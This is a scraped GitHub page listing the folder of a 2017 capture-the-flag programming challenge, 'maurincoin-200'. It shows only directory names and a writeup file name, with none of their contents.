overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> HugoDelval </span> <span>/</span> inshack-2017 <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>12</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>19</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/HugoDelval/inshack-2017/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":83088123,"originating_url":"https://github.com/HugoDelval/inshack-2017/tree/master/challenges/programming/maurincoin-200","user_id":null}}" data-hydro-click-hmac="3e389710eb2c510e8a5876c628c2b3e2f1f62de1a194a7f63f54ad1c7bccf153"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/HugoDelval/inshack-2017/refs" cache-key="v0:1491806619.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="SHVnb0RlbHZhbC9pbnNoYWNrLTIwMTc=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/HugoDelval/inshack-2017/refs" cache-key="v0:1491806619.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="SHVnb0RlbHZhbC9pbnNoYWNrLTIwMTc=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>programming</span></span><span>/</span>maurincoin-200<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>programming</span></span><span>/</span>maurincoin-200<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/HugoDelval/inshack-2017/tree-commit/efc675f74b280a25cfee0b945d61ce7b05710e3e/challenges/programming/maurincoin-200" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/HugoDelval/inshack-2017/file-list/master/challenges/programming/maurincoin-200"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>public-files</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>src</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>writeup.md</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top 